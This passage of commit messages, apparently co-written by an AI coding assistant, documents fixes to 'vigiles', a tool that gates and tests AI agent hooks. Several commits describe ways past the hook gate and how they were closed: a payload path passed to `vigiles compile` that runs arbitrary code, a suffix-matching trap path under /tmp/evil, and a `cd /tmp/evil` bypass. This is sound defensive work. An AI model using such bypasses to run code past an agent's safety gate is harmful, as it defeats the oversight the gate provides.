own `hook-runtime run-program`. The env is EXPANDED into the word that
references it instead of scanned alongside the command, so the documented
`runHook('"$GUARD"', …, { env })` idiom still attributes and a fixture path
in the env attributes nothing. A third-party runner shim's operand is an
accepted false negative, and it is named as one.
2. `foreign-runner-tests` accepted a MENTION as evidence of a CALL — a gate
added an hour earlier to fix a false positive, whose "evidence" was a
substring search. An import, a comment forbidding the call, a string
fixture and a mocked property each got the harmful "rename this test"
advice. Evidence is now a call site, found after a lexer blanks comments,
strings and template text. Regex literals are lexed too: the first draft
called them too rare to bother with, and the first real file checked
disproved it — a `.replace(/[.`"']/g, "")` opened a template that ran to
end-of-file and hid a real `measureTriggerRate({` fifty lines below.
3. `runsFromResults` wrote coverage for SKIPPED and VACUOUS runs. A script can
drive a hook and only then discover a missing capability and call `skip()`;
the probes are still attached, and the old deny-list let them through. Now
an allow-list: only `pass` writes. The retraction rule is deliberately NOT
symmetric and stays as it was — a skip must not delete a measurement taken
on a machine that had `claude` — and there is now an assert holding the two
apart so nobody "simplifies" them into one.
Every branch mutation-tested: 21 mutations, each failing its own assert. Four
survived at first and each bought a real test — `sh -c '…'` handed one word,
`xs[0] / a / b`, `split(/[/\\]/)`, and `$(cat cmd) hooks/x.sh`. The quiet halves
run on real input: 514 real source files for the lexer, this repo's own harness
command lines for the probe.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* test(untested): a third assertion pinned an extension to whichever node ran the suite
The control test asserted `.ts` unconditionally. It passes on a Node 22 dev box
and fails on CI's Node 20, where `.mjs` is the correct answer and the capability
gate is working — the same host-dependent shape already fixed twice in this file
and in the sibling suite.
Fixing it exposed a second, quieter hole: the two config tests configured `mjs`,
which on Node 20 is ALSO what detection produces, so they could not fail there —
they proved the option travelled only on a TypeScript-capable host. The
configured value is now chosen to differ from the detected one on every host
(`mjs` where detection says `.ts`, `cjs` where it says `.mjs`).
Both branches measured on real runtimes rather than reasoned about: Node 20
suggests `demo.eval.mjs` unconfigured and `demo.eval.cjs` when configured;
Node 22/24 take the TypeScript branch. Node 24 also checked for the underlying
predicate — `--experimental-strip-types` is still accepted there
(`process.features.typescript === "strip"`), so the capability probe stays correct.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix: six review findings — three lexical shapes taken for the property they name
Codex review of `05131c3`/`2c78a2c`. All six reproduced before fixing; every fix
has a test with both halves (fires on a planted defect, quiet on clean input) and
was mutation-checked by reverting it.
1. foreign-runner-tests: a DEFINITION is not a call. After `stripNonCode`, a bare
`name\s*\(` matched `function runEval() {}` and `class Fake { runEval() {} }`,
so a surface-local test that merely declares a helper was told to rename
itself. Matches now go through `isCallSite` — a definition keyword before the
name, or a matching `)` followed by `{` (optionally past a TS return type).
Same substitution as the round before, one level in.
2. cli: `--harness=` never reached coverage discovery. It is a SHARED flag and
`resolveHarnessSelection` ranks it above config and auto-detect, but
`resolveRecords` called `harnessLayoutFor(cwd, loadConfig())` — so
`vigiles test --harness=codex` resolved this run's probes against the wrong
layout and silently recorded nothing.
3. coverage-probe: an option's VALUE is not the entry script. `node --loader tsx
hooks/x.ts` selected `tsx`; `node --require setup.js app.js` selected the
preload. Value-taking and no-script-at-all interpreter options are parsed
before the entry is chosen, without regressing "a script the command READS is
data" (`ruby -S` is deliberately excluded, `python -m` attributes nothing).
4. scan + plugin-loader: a directory symlink was followed. `.claude/skills/self
-> ..` made the LOADER throw `ELOOP` out of the whole audit, and made the
surface walk report every file once per lap (82 file keys instead of 3). One
shared `entryKind` (`fs-walk.ts`) now refuses to descend into a symlinked dir
— both walks, because fixing one of a pair has broken this repo before.
5. lethal-trifecta: the skill fence is a Claude Code mechanism. On a Codex repo
every skill was scored against Safety with the remedy "add `disallowed-tools:`"
— a key Codex does not read and our own compiler drops under its
`skillFrontmatter: "minimal"` profile. Gated on the dialect record that already
says this; no new capability flag.
6. doc-commands: fences are CommonMark's. Any `^\s*``` ` line toggled, so a
four-backtick block wrapping a ``` example closed early — commands in the tail
went unchecked and the prose after it was judged as commands. Delegated to
`core/markdown.ts` (markdown-it), which also brings `~~~`.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(fs-walk): one stat answers both questions, so the dead catch is gone
CI's 100% coverage gate failed on `plugin-loader.ts` line 179 — the `catch` of a
second `statSync` used only for the size cap. The line is UNREACHABLE: the entry
was already classified as a file by a successful stat, so reaching that catch
needs the file to vanish between two consecutive calls. Covering it with a test
would have been mocking a race to satisfy a gate; the gate was right and the
construction was wrong.
`entryKind` becomes `entryOf`, returning the kind AND the size from the stat it
already performs. The loader compares the size it was handed, the second syscall
and its unreachable failure path are gone, and `scan.ts` destructures the kind it
already used. A non-file reports size 0 rather than something a size comparison
could accidentally accept.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix: five review findings — four guarantees pinned on one side only
Every one is the same shape: a rule stated for one half of a pair and left
unstated for the other. Fixed with both-halves tests, each mutation-checked.
1. coverage-artifact — a record names TWO files, only one was pinned
The surface is hashed, the SCRIPT that did the executing was not, so a
deleted or renamed harness kept granting execution coverage forever:
freshness keys on the surface's text, and a file that is gone can never
re-enter the retraction set, so no future run can withdraw it. `indexRuns`
now counts a record only while BOTH files are present. Chose PRESENCE over
hashing the script: an emptied-but-present script is already retraction's
job (a `vacuous` re-run drops it), while one script legitimately covers many
surfaces — hashing would invalidate thirty records for one reformat and
cannot tell "strengthened" from "gutted". The `skip` asymmetry is untouched:
this deletes nothing, it is a read-time judgement about a checkout.
2. test-coverage-files — the browser twin hard-coded the name `"SKILL"`
A single-skill repo declaring `name: foo` was covered by `foo.harness.mjs`
on disk and untested in the file-map engine. Third divergence in this PR, so
the parser moved to the shared `coverage-evidence.ts` and both twins call it.
The parity gate missed it because no vendored fixture has a root SKILL.md —
the branch was executed by NEITHER engine. Closed with three built fixtures
(declared name, misnamed harness, no declaration) plus a correctness
assertion, since parity is agreement and not correctness.
3. foreign-runner-tests — `scriptModel` was intent, not property
Justified as "exists only to be handed to one of them" inside a list whose
warrant is that the CALL spawns an agent. Both implementations are pure (a
copied array; a closure). A surface-local test that only builds a scripted
model was told to rename itself out of its runner. No recall lost: a file
that scripts a model and runs it names the runner.
4. coverage-probe — one option table cannot hold two grammars
Measured: `python3 -I x.py` runs (consumes nothing), `ruby -I dir` consumes.
With `-I` shared, python's hook path was eaten and a passing run earned no
coverage. Tables are now per interpreter family, which also resolves `-E`
(python/ruby/perl disagree three ways) and `-p` instead of documenting it.
5. scan / plugin-loader — the symlink policy skipped every walk's entry point
Roots went straight to `readdirSync`, so `skills -> ..` re-entered the whole
checkout and both walks' containment promise held everywhere except the top.
A root gets a DIFFERENT rule from an inner entry, deliberately: a shared
skills dir linked in from outside is an ordinary layout, and refusing it
would silently report zero skills. So a root symlink is followed unless its
target CONTAINS the scanned root; everything below still goes through
`entryOf`, so exactly one hop is taken and cycles remain impossible by
construction. Applied at all four entry points.
Gates: build, api:check, prettier clean; lint 0 errors / 201 warnings (two
BELOW the 203 baseline — the plugin-loader refactor removed two); vitest
2759 passed with only the known environmental `harness-test` failure; coverage
100% statements/functions/lines, branches 94.09%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix: four review findings — one false grant, one table gap, two stale claims
Round ten. Smallest change per finding, no new case analysis: the two
regressions of the last rounds both came from a new table missing an entry, so
the one table touched here is completed from the vendor's own `--help` and the
one place that wanted a per-harness branch deliberately did not get one.
1. run-script — the coverage probe ran BEFORE the spawn (P1, false grant)
`runEgress` throws when the allowlist sandbox is missing, and
`runConfinedOrDirect` throws when confinement was required and bwrap is
absent. Both throw before any spawner. A harness asserting exactly that
refusal — `assert.throws(() => runHook(untrusted…))`, a documented test —
caught the error, exited 0 with a check recorded, and the runner wrote
execution coverage for a hook that never ran. The probe now follows the
spawner's return. LAUNCHED, not succeeded: exits 1 and 2 still attribute, and
the test loops over 0/1/2 so nobody tightens it to a zero exit. `recordCheck`
deliberately stays before — a refusal IS a check, and demoting it to
`vacuous` would retract that script's other records.
2. coverage-probe — bash `-O` ate the hook path
`bash -O extglob hooks/pre-edit.sh` selected `extglob`, which fails
SCRIPT_RE, so a hook that ran was attributed to nothing. How the shell entry
was decided complete is now in the comment: `bash --help` (5.2.21) prints the
whole invocation grammar, and its only value-takers are `-c`, `-O`/`+O`,
`-o`/`+o`, `--rcfile`/`--init-file`. The same enumeration surfaced five
parse-only flags (`-n -D --dump-strings --dump-po-strings --pretty-print`,
each verified against the real binary to print nothing) whose absence was a
false GRANT — the expensive direction — so they join `withoutScript` beside
node's `--check`. The whole-word limit (`bash -en x.sh`) is asserted rather
than described; it is pre-existing.
3. test-coverage — the firing nudge named an unrunnable remedy
Real, but NOT for the reason given: the cited `docs/harnesses.md` line is
itself stale (see 4). `codexEvalDriver` IS exported and in the API surface,
so the tier is reachable. The actual defect is worse than "cannot run":
`measureTriggerRate(spec)` falls back to the DEFAULT driver, so on a Codex
repo the old wording did not fail — it measured a different harness and
reported a number. The message now names `{ evalDriver }`. Deliberately not a
capability flag: that is the table-that-misses-an-entry shape this round
warned about, and the sentence is true for every harness, so there is no case
analysis and no fourth adapter to remember.
4. docs — `*.test.*` was still documented as feeding Tested (merge-blocking)
Swept every public surface, not just the file named: docs/cli.md (which
contradicted itself — line 89 already said `never *.test.*`),
docs/non-js-harnesses.md, and the metric's own comments in audit-score.ts,
scan.ts, test-coverage.ts and foreign-runner-tests.ts. Added an explicit
MIGRATION section to docs/rules/untested-skill.md: the rename spelled out
(`foo.test.mjs` -> `foo.harness.mjs`), and why a rename rather than pointing
`testGlobs` back — a third-party runner's defaults collect `*.test.*` and a
harness test spawns an agent, so restoring the number would keep the file
being collected and possibly spending model budget. Also corrected the stale
Codex line in docs/harnesses.md: trigger-rate IS public (experimental),
`runEval` genuinely is not (`runEvalWith` is unexported).
New `src/tested-metric-docs.test.ts` closes the class: a doc defect is not a
code defect and nothing could catch it. It asserts the behaviour against the
real detector (including that the prescribed rename works) AND greps the
corpus for the retired claim shape, quiet on all of it today and firing on
the verbatim pre-fix sentence.
Gates: build, api:check, prettier clean; lint 0 errors / 201 warnings (baseline);
vitest 2765 passed with only the known environmental harness-test failure;
coverage 100% statements/functions/lines, branches 94.09%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(hook-program): the recovery escape's OPERAND was the payload
Round 3 on the same door, and this time the shape was not the problem — the
door's contract was. The executable check from last round is correct; the
ARGUMENT was unconstrained. `vigiles compile /tmp/payload.spec.ts` reached
`compile`, which hands the operand to `loadSpec`, which `await import()`s the
dist candidate and, failing that, shells out to
`npx tsx -e 'import("<operand>")'` (verified by reading cli.ts, not assumed).
Arbitrary top-level code, executed by the fail-closed gate's own escape while
the gate is refusing everything else.
The design question, answered before the code (and written into the comment):
- The minimum repair is NOT always bare. Bare `vigiles compile` compiles what
the repo declares (`findSpecs()` + `discoverHookFiles(cwd)`), which is enough
for hooks under `.vigiles/hooks/` — but the product's own refusal messages
print `vigiles compile <file>`, and for a stale stamp on a hook outside that
dir the operand form is the only thing that repairs it. Forbidding all
operands would have rejected the command the tool just told the user to run,
which is how a gate gets disabled outright.
- So the escape takes zero or one operand, and the one must EQUAL the file the
runtime was invoked with (`hook-runtime run-program <file>`) — repo-owned
config from the compiled hooks block, never event data. The event can only
echo the one path the repo already named.
- "Inside the repo" was rejected explicitly as unsound: a checkout holds
attacker-writable paths in plenty of workflows, and `loadSpec` imports
whatever it is pointed at.
🔴 `samePathRef` is deliberately NOT reused. It matches by SUFFIX — correct for
the Edit escape, catastrophic here: `/tmp/evil/.claude/hooks/guard.hook.ts`
suffix-matches the reported hook and would have been imported. Grabbing the
nearby helper is how this door was widened before, so the operand gets its own
exact comparator. (The Edit escape's own use of `samePathRef` is left alone —
it writes a file rather than executing one, and the looseness is load-bearing
for absolute-vs-relative `file_path`. Noted, not changed.)
`isRecoveryEvent` gains an optional `hookFile`; absent, NO operand is accepted,
so a caller that cannot say which file is being repaired fails closed. `cli.ts`
threads the file it already has.
The recovery path is stated in the comment so nobody rediscovers it by trial
and error: copy the command the refusal prints · bare compile for
`.vigiles/hooks/` · `git merge --abort` for a broken load path · and Edit/Write
never go through the Bash gate at all.
Tests, both halves, in the unit tier AND against the real runtime
(`hook-load-wedge.test.ts`, where the previous two rounds were verified):
the reported payload shape is denied, so are the in-repo path, the suffix trap,
a smuggled second operand and a flag; every genuine recovery command still
passes. Pre-existing tests that used an operand were rewritten — several would
have kept passing for the wrong reason.
Four mutations, each failing on its own assertion: pre-fix (any argument) fails
the payload test in both tiers; too-strict (no operand ever) fails "or the repo
has no way out"; reusing `samePathRef` fails on the suffix trap.
Gates: build, api:check (no drift), prettier clean; lint 0 errors / 201
warnings (baseline); vitest 2768 passed with only the known environmental
harness-test failure; coverage 100% statements/functions/lines, branches 94.09%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(hook-program): delete the executing escape instead of constraining it again
Round 5 on the same door. P1a (`/tmp/vigiles compile`) and P1b (`cd /tmp/evil &&
vigiles compile`) are both real — and I did NOT fix them as stated, because the
pattern says the constraint approach is wrong: `.some()` over leaves → the
operand → the executable path → the working directory, four correct fixes each
followed by another. The escape was trying to recognise a trusted ACTION from an
untrusted STRING, and a string's degrees of freedom (argv, cwd, PATH,
node_modules resolution, config discovery, shell state) are unbounded.
Two measurements settled it, both now asserted as tests rather than remembered:
1. STALE-STAMP WEDGE — writing `{}` into `.vigiles/hooks/<name>.json` (or
deleting it) makes the runtime load the hook again, and it comes back
ENFORCING (`ls` passes, `git push --force` still denied with the hook's own
reason). The repo is unwedged by a FILE WRITE, and file tools were never
gated by a Bash gate. So the compile command was never needed here.
2. LOAD WEDGE — with `package.json` holding conflict markers,
`vigiles compile <hook>` exits 1: `Cannot load hook …: Invalid package
config`. It loads the hook through the same resolver that just failed, so
it could never repair the state the escape admitted it FOR.
The command bought nothing and cost four vulnerabilities, so the primitive is
gone rather than constrained a fifth time. Deleted, not left dormant:
`isCompileLeaf`, `sameOperandPath`, `vigilesExecIndex`, `RUNNER_PREFIXES`,
`RUNNER_VALUELESS_FLAGS`, `isVigilesToken`, and the `cd` "neutral leaf" category
— 222 lines out, 100 in, and `grep` finds zero references to any of them.
What is left cannot execute repo code:
- `isStampRepairEvent` is now purely a FILE WRITE — the hook's own source, or
its stamp sidecar. Both repo-owned paths derived from the file the runtime
was invoked with, never from the event. (`samePathRef`'s suffix tolerance is
correct for a write and was wrong for an exec; with the exec gone, so is the
reason to be exact.)
- `isRecoveryEvent` is git-only: `merge --abort`, `rebase --abort`,
`checkout -- <path>`. Each moves the tree back to something git already
holds. This family has produced zero findings in five rounds.
- `cd` is no longer neutral. It was whitelisted as "produces no effect of its
own", which is backwards: the cwd decides which node_modules, config and
files a command resolves. P1b dies by construction, not by analysis.
Recovery stays possible and is now discoverable — the stale-stamp refusal prints
the exact sidecar path and says plainly that the way out is a write, not a
command; the load refusal says `vigiles compile` is not allowed AND would not
help, with the reason. Public docs (docs/compiled-hooks.md) rewritten to match,
including why the command was removed.
P2 (`bun run hooks/x.ts` attributed nothing) fixed as stated: bun and deno put a
verb before the file while sharing node's OPTION grammar. Every head in
INTERPRETER_FAMILY was checked for a subcommand form — the shells, python, ruby,
perl, tsx and ts-node have none, and node's `--run` is a flag over package.json
scripts — so the list is exactly {bun, deno}. Only `run` is modelled; the other
verbs (`deno check`/`cache` read without executing) stay unmodelled, where a miss
costs silence rather than a false grant.
Mutations, each failing on its own assertion in both the unit and real-runtime
tiers: restoring a compile leaf + `cd` neutrality; dropping the sidecar write
escape (recovery becomes impossible); reverting the refusal message; emptying
RUN_SUBCOMMAND_HEADS; dropping its head restriction.
Gates: build, api:check (no drift), prettier clean; lint 0 errors / 201 warnings
(baseline); vitest 2766 passed with only the known environmental harness-test
failure; coverage 100% statements/functions/lines, branches 94.09%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage-probe): invert the direction — attribute what is recognised, not what is left
Both P2s are real and both are FALSE GRANTS. Fixed, but the round was spent on
the question behind them, because this file has produced findings in five rounds
and every one had the same shape.
## Can the executor report what it executed? Measured, not assumed.
NO for the subprocess tier, and structurally so. `runHook`/`runScript` take a
COMMAND STRING and hand it to `spawnSync(cmd, { shell: true })` — vigiles never
resolves a path, `sh -c` does, so there is nothing to report back. The corpus
confirms there is often no path to report at all: this repo's own examples pass
inline program TEXT (`CMD=$(cat | jq -r …); case …`, `node -e '<source>'`) in
which no file is named by anyone. That contract is the feature — it is how you
test a hook you did not write, verbatim as its plugin ships it.
YES for the in-process tier, which is a real gap I am reporting rather than
fixing here: `loadHook(file)` resolves the path itself, and `harness-assert.ts`
and `load-hook.ts` contain ZERO `recordSurfaceProbe` calls. The one tier where
attribution needs no parsing is the tier that attributes nothing. It would ADD a
source of truth, not retire this one, so it deserves its own round.
## So parsing stays, and the DIRECTION changes.
The scan was a deny-list — skip what we recognise, attribute what is left — so
every gap in every table became a false grant. Where the grammar cannot be
closed, it is now inverted: attribute only what is positively recognised.
(a) BUNDLED CLUSTERS. `bash -en hooks/pre.sh` / `bash -nc hooks/pre.sh` carry
bash's `n` ("Read commands but do not execute them"), but neither is a whole
word in any table, so the generic `-` skip walked past it and the path became
the entry. A cluster is now attributed only when EVERY letter is accounted
for, from the complete `bash --help` letter set; an unknown letter abstains,
because it might be another `n`. Only shells are modelled — bash publishes
its invocation letters, the others do not, and inventing one from memory is
what keeps biting. A bundle under any other family abstains
(`python3 -EsI x.py` now attributes nothing; the unbundled spelling still
works). This also FIXES the silence half: `bash -euo pipefail hooks/x.sh` —
the commonest launch shape there is — attributed nothing before and now
resolves correctly.
(b) `run-program` was a free-floating keyword searched across the whole argv, so
`echo run-program hooks/pre.sh` recorded coverage for a hook `echo` merely
printed. It is now a command SHAPE: `hook-runtime` immediately followed by
`run-program`, owned by the token before it being `vigiles` itself or the
entry script the line already resolved. Every form the installer and our own
harnesses emit still works; the words in someone else's mouth do not.
## Calibration point, recorded because it was mine
Last round I found the whole-word limit myself, measured only its silence
direction (`bash -euo pipefail`), and filed it as harmless and pre-existing. It
also had a false-grant direction, which is the expensive one, and the bot found
it. "This limit costs silence" needs checking in BOTH directions before it is
filed as harmless. The two assertions that encoded that wrong conclusion are
deleted rather than adjusted — both cases are now correct.
Mutations, each failing on its own assertion: revert the cluster handling to the
generic skip; treat an unknown letter as safe (the deny-list direction); revert
`run-program` to a free-floating scan.
Gates: build, api:check (no drift), prettier clean; lint 0 errors / 201 warnings
(baseline — one added by the fix, then removed by flattening the dispatch);
vitest 2768 passed with only the known environmental harness-test failure;
coverage 100% statements/functions/lines, branches 94.09%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix: three false-grant/false-positive findings, each verified by RUNNING it
All three are the same failure direction — a lexical shape taken for the
property it resembles — and all three outputs below were produced by executing
the built module, not reasoned about.
1. `foreign-runner-tests.ts` — a bodiless TYPE MEMBER was reported as a CALL.
`returnTypeThenBody` stopped at the `;` and "no body" was read as proof of a
call, so a pure type-level test was told to rename itself out of its own
vitest run. Measured before the fix — and it was TWO shapes, not one:
agentDrivingApi("interface Runner { runEval(o: Opts): void; }") → "runEval"
agentDrivingApi("type R = { measureTriggerRate(o: O): Promise<number>; };")
→ "measureTriggerRate"
`):` now abstains outright: of the three shapes a `)` followed by `:` can be,
two are definitions and only a ternary is a call. `returnTypeThenBody` and
ANNOTATION_WINDOW became unreachable and are deleted.
🔴 I had listed this exact case in a round-6 report as a deliberate miss
"toward silence". It was never silent; it fired. That is the second round
running where a safety claim of mine was plausible, load-bearing, written
down and never executed. Every such claim in this file is now an assertion
with the measured output beside it, not prose.
2. `bash-effects.ts` `leafArgvSource` — a SYNTACTIC leaf is not an executed
command. It walked every CallExpr, so `false && bash hooks/pre.sh` and
`true || bash hooks/pre.sh` credited a hook the shell never runs, and the
probe is persisted for a passing script. The tree is now DESCENDED, only
through positions whose children always execute: statement lists, both sides
of a PIPELINE, subshells, blocks, and the LEFT of `&&`/`||`. Everything else
— if / while / for / case / function bodies — is not entered, which closes
the whole family rather than the two reported instances.
⚠️ MEASURED COST, stated: `cd /repo && bash hooks/x.sh` now attributes
nothing. `runHook(cmd, event, { cwd })` is the replacement and is what this
repo's own examples already use. The old expectation is updated in place with
that note rather than deleted.
3. `foreign-runner-tests.ts` — the `.eval.` INFIX over-fired. `parser.eval.test.ts`
was declared to burn model budget while not matching
`**/*.eval.{ts,mts,cts,js,mjs,cjs}`, the glob that decides what `vigiles eval`
runs. Now the same suffix as discovery. The infix was right where it came from
(`partitionTests` splits already-discovered files); copying it here carried it
past its premise. Consequence worth recording: `eval-name` evidence is now
reachable only through jest's `__tests__/` rule, because a name eval discovery
accepts is never a name a suffix-based runner collects — pinned by test.
## Structural verdict (asked for instead of a fourth patch)
The evidence scheme IS deny-list shaped, and the class is still live. Measured
after the fix — five more shapes fire, all bodiless members with no return type:
interface R { runEval(o); } → "runEval"
type R = { runEval(o); }; → "runEval"
class C { runEval(o: A); runEval(o: B) {} } → "runEval"
declare module "x" { interface I { runEval(o); } } → "runEval"
type R = { runEval(o), other: 1 }; → "runEval"
No rule over the token after the parameter list can separate these: `runEval({});`
is `)` followed by `;` too. The discriminator is whether the match sits in a type
body. Two inversions were considered and both measured:
1. a TS-aware parse — correct, forbidden by the byte-parity constraint;
2. require a RUNTIME import from a vigiles specifier — separates every false
positive AND every true positive tried, then MISSES this repo's own
agent-driving examples, which import `"../../dist/harness-assert.js"` (4 of
4 checked scored zero). Trades a bounded false-positive class for an
unbounded false-negative one.
So it is recorded in the module with the inputs and outputs, and NOT patched
case-by-case — that is what produced this series.
Mutations, each failing on its own assertion: restore the returnTypeThenBody
negation; restore the eval infix; descend the RHS of `&&`/`||`; abstain on
pipelines too (the over-correction).
Gates: build, api:check (no drift), prettier clean; lint 0 errors / 201 warnings
(baseline); vitest 2771 passed with only the known environmental harness-test
failure; coverage 100% statements/functions/lines, branches 94.09%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(foreign-runner): blank TYPE BODIES as a region — the class closes, parity intact
Your third option works. No parity change, no dependency, no seventh special
case: `stripNonCode` gains one more region kind, run as a second pass so brace
counting happens after quotes and comments are already gone.
## 1. Does it kill the five shapes? Yes — and a sixth I found while testing.
interface R { runEval(o); } → undefined (was "runEval")
type R = { runEval(o); }; → undefined (was "runEval")
type R = { runEval(o), other: 1 }; → undefined (was "runEval")
declare module "x" { interface I { runEval(o); } } → undefined (was "runEval")
interface X<T extends { a: 1 }> { runEval(o); } → undefined (found in test)
`declare` is NOT a keyword this scans for, deliberately: the ambient cases close
through the `interface` inside them (measured), while `declare const x: T` with
no semicolon would send the body search into the next function.
## 2. Does it keep every true positive? Yes — 22 shapes, zero lost.
Including the two you named, which a naive brace-blanker eats:
const s = `${runEval(x)}`; → runEval
const s = `a${`b${runEval(x)}`}c`; → runEval
class F { run() { return runEval({}); } } → runEval
const o = { run: () => runEval({}) }; → runEval
And the overshoot direction, which is where I expected to fail: without a bound,
a semicolon-less `type A = string` runs on into the next function's brace and
eats a real call. The bound is "anything may sit on the keyword's own line; once
a newline is crossed the next significant character must BE the `{`". With it:
type A = string\nfunction f() { runEval({}); } → runEval
declare const x: T\nfunction f() { runEval({}); } → runEval
const type = { run: () => runEval({}) }; → runEval
obj.interface = { run: () => runEval({}) }; → runEval
interface R { a: 1\nawait runEval({}); → runEval (truncated source)
`type` is not a reserved word, so it also needs to be followed by an identifier;
`obj.interface` needs the `.` lookbehind. Both are pinned by mutation — the first
version of these tests did NOT catch either guard, and I added the cases that do.
## 3. What it still misses, run rather than asserted
agentDrivingApi("class C { runEval(o: A); runEval(o: B) { return 1; } }")
→ "runEval"
A class body is the one region that cannot be blanked: it holds real method
bodies, and a call inside one is a true positive above. Telling an overload
signature from an expression statement needs to know the enclosing brace is a
class body — the context this lexical layer does not carry. Documented with the
reproducing input, and it is the only one left.
Mutations, each failing on its own assertion: no type-blanking; no newline bound;
no type-identifier guard; blank class bodies too; no dot lookbehind.
Gates: build, api:check (no drift), prettier clean; lint 0 errors / 201 warnings
(the blanker first added 4 — complexity and nesting — then flattened into
`namesAType` / `matchingBrace` / `blankBodies` to return to baseline); vitest
2771 passed with only the known environmental harness-test failure; coverage 100%
statements/functions/lines, branches 94.09%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix: guard EVERY real-model spawn, and make a future adapter unable to skip it
The refusal exists so a stray `npx vitest run` cannot spend model budget. It
guarded the default Claude runner and nothing else — and `measureTriggerRate(
spec, { evalDriver: codexEvalDriver })`, the publicly documented alternative,
calls the injected driver's runner DIRECTLY into `spawnSync("codex", …)`.
Measured before choosing a remedy: the guard covered ONE of FOUR money doors.
src/eval.ts spawn(claudeCodeRuntime.agentBinary) guarded
src/adapters/codex/eval.ts spawnSync("codex", …) UNGUARDED
src/judge.ts spawnSync("claude", …) UNGUARDED
src/scan-behavioral.ts spawnSync("claude", …) UNGUARDED
`judge` and `deriveAttackReal` are reached from inside a user's `measure`
callback, so "before dispatching any driver" would not have covered them either
— neither passes the eval composition root at all. That rules out the first
remedy the bot named, on evidence rather than taste.
The irony, recorded in the code: last round's nudge fix now tells Codex users to
pass `{ evalDriver }` — the product actively recommends the shape that bypassed
the guard.
## How a future adapter is prevented from forgetting
Not by a list. `src/model-spawn-guard.test.ts` scans the source and fails on any
spawn whose program mentions `agentBinary` — the field every `HarnessRuntime`
declares for its binary — unless the enclosing function calls the guard or
carries a `vigiles:free-tier` marker with a reason. A new adapter spawning
`fooRuntime.agentBinary` is caught the day it is written, without the check
knowing `foo` exists. Verified by building a throwaway `src/adapters/newharness/`
that forgot the guard: the check failed on it, passed once guarded, then removed.
Three free-tier spawns are marked with why they cost nothing: two `--version`
probes, and the deterministic harness tier, whose `runtime.wireMock` points the
binary at the LOCAL scripted mock.
Two bugs in the check itself, both found by running it:
- the first pattern was same-line only, so it found four sites and MISSED
exactly the three multi-line ones the finding was about — a check that cannot
see the bug it was written for. Hence the `>= 7` count assertion.
- blanking comments to `""` preserved line numbers but shifted character
OFFSETS, so the guard lookup read the wrong place and reported all seven
unguarded. Comments are now blanked to spaces of equal length.
## Placement
`refuseUnderForeignRunner` moved to `core/foreign-runner.ts`, which imports
NOTHING, so any adapter can call it without a cycle. `foreignRunner` stays pure;
this is the one impure wrapper.
⚠️ It must sit OUTSIDE the swallowing `try` in `judge` and `deriveAttackReal` —
both do `try { spawn } catch { return fallback }`, so a refusal thrown inside
becomes a silent `score: 0` instead of a stop. Pinned by mutation.
## Tests, through a REAL foreign runner
`src/eval-injected-driver-guard.test.ts` drives an actual `node --test` child,
because this suite runs under vitest and a test asserting "vitest is refused"
agrees with whatever the guard already believes. FIRES: the Codex driver's runner
and `judge` both refuse. QUIET: outside a foreign runner the same calls get PAST
the guard (and fail on the missing binary), so a fix that always threw would fail
here. The child runs with an EMPTY `PATH`, so a regression fails the test instead
of billing for it.
Mutations, each caught: remove the Codex guard; remove the judge guard; move the
judge guard inside its swallowing `try`.
Gates: build, api:check (no drift), prettier clean; lint 0 errors / 201 warnings
(baseline); vitest 2777 passed with only the known environmental harness-test
failure; coverage 100% statements/functions/lines, branches 94.16%.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): the in-process tier attributes what it EVALUATES
The gap I named two rounds ago and deferred; the reviewer found it independently.
`loadHook(file)` + `assertHookDenies(hook, event)` — the documented cheapest path
— recorded a check and no SURFACE, so the child exited a non-vacuous pass with an
empty `surfaces` list, `runsFromResults` discarded it, and a harness that really
did execute a compiled hook produced NO execution record. The hook then showed as
untested unless filename colocation happened to cover it.
🔴 A FALSE NEGATIVE, so the risk while fixing runs opposite to every other
coverage finding here. Those were false GRANTS and the cure was "abstain when
unsure"; this one is real execution going unrecorded, and the danger is recording
too eagerly. The line is EVALUATION, and it is pinned in both directions.
Where the probe is, and the three places it is not:
- `loadHook` only REMEMBERS the path (a WeakMap in core/hook-program.ts — the
object is the user's, so no field is stamped on it). Loading a hook to
inspect its shape has not run it; crediting that would be the empty-file-
counts substitution the execution tier exists to remove.
- `runHookProgram` — the PURE evaluator, and what the CLI's `hook-runtime
run-program` calls on every live event in production. Recording there would
make the pure decision impure and fire outside any test.
- `runCountedHookProgram` — the one place holding BOTH facts (this hook is
about to be evaluated; it came from a file). All four public in-process
assertions funnel through it, so none can be added without inheriting the
attribution.
This is the one attribution in the codebase that needs no parsing: the path is
the argument `loadHook` resolved. The comment says so explicitly — the parsed
source (`commandRefs`) is best-effort over an unbounded grammar and has been
wrong in five rounds; this one is exact by construction. Same record SHAPE, not
the same trustworthiness.
⚠️ What it deliberately does not attribute, run rather than asserted:
